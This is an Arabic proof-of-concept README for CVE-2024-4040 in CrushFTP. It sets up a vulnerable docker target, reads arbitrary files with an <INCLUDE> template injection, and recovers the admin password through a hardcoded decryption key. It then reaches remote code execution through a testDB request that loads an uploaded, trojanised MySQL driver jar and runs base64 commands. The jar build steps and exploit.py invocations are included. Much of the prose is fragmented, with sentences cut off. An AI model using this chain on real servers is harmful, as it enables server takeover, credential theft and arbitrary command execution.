
إثبات المفهوم CVE-2024-4040
docker run -p 21:21 -p 443:443 -p 2000-2100:2000-2100 -p 2222:2222 -p 8081:8080 -p 9090:9090 -v <volumn>:/var/opt/CrushFTP10 markusmcnugen/crushftp:latest
exploit.py و decrypt.java للحصول على كلمة المرور وفك تشفيرها. السبب ببساطة هو أن المفتاح (key) مكتوب بشكل ثابت (hardcoded)، لذلك يمكن فك التشفير بالإضافة إلى إمكانية قراءة أي ملف.crushadmin موجودًا، يمكنك محاولة الحصول على CrushFTP.log، فهو يحتوي على معلومات الحسابات التي يمكن الرجوع إليها.
<INCLUDE>CrushFTP.log</INCLUDE>

usage: exploit.py [-h] -u URL [-H HEADERS] [--account ACCOUNT] [--shell] [--jar-path JAR_PATH]
CVE-2024-4040
options:
-h, --help show this help message and exit
-u URL, --url URL The target URL
-H HEADERS, --headers HEADERS
Headers
--account ACCOUNT The target account
--shell
--jar-path JAR_PATH Jar file path
user.XML.crushadmin، وهو حساب المسؤول الافتراضي الموجود.decrypt.java لفك تشفيرها.--shell مخصصة لتسهيل رؤية نتائج تنفيذ الأوامر عن بُعد (RCE). بعد رفع ملف jar بالطريقة الموضحة أدناه، يمكنك تحديد --jar-path و --headers لرؤية نتيجة تنفيذ الأمر.
--headers يجب أن يتضمن كوكي تسجيل الدخول (Cookie)، مثل: --headers "Cookie: currentAuth=a1FE; CrushAuth=1720166068377_Pa6SmqX7UzqLJ7gZtcllYhjlssa1FE"--jar-path هي /tmp/mysql_cmd_db_user_final_with_echo_base64.jar. إذا كان الملف في مسار مختلف فتذكر تحديد المسار؛ نظريًا يمكن استخدام مسار نسبي، لكن يُنصح باستخدام مسار مطلق.exit وسيتم الخروج.
User Manager، انقر على المستخدم في الجهة اليسرى، واسحب المجلد الذي تريد تعيينه إلى User's Stuff، ثم عدّل الصلاحيات، ويجب تحديد خيار upload بالتأكيد.


testDB تتيح لك تحديد ملف jar وكائن driver بنفسك، ومع إمكانية الرفع، يمكن ربط هذين الأمرين معًا لتحقيق RCE.command=testDB&db_driver_file=<path_to_eviil_jar>&db_driver=org.gjt.mm.mysql.Driver&db_url=jdbc%253Amysql%253A%252F%252F127.0.0.1%253A3306%252Fcrushftp%253FautoReconnect%253Dtrue&db_user=<base64_encoded_command>&db_pass=&c2f=<currentAuth>
id.db_user ليتم تنفيذه.mkdir mysql-connector-java-5.0.4 && cd mysql-connector-java-5.0.4 && jar -xvf ../mysql-connector-java-5.0.4.jarcp ../NonRegisteringDriver.java com/mysql/jdbc/NonRegisteringDriver.javajavac -verbose -classpath . com/mysql/jdbc/NonRegisteringDriver.javajar cf ../mysql_cmd_db_user_final_with_echo_base64.jar *python3 exploit.py -u http://0.0.0.0:8081 --shell --headers "Cookie: currentAuth=a1FE; CrushAuth=1720166068377_Pa6SmqX7UzqLJ7gZtcllYhjlssa1FE"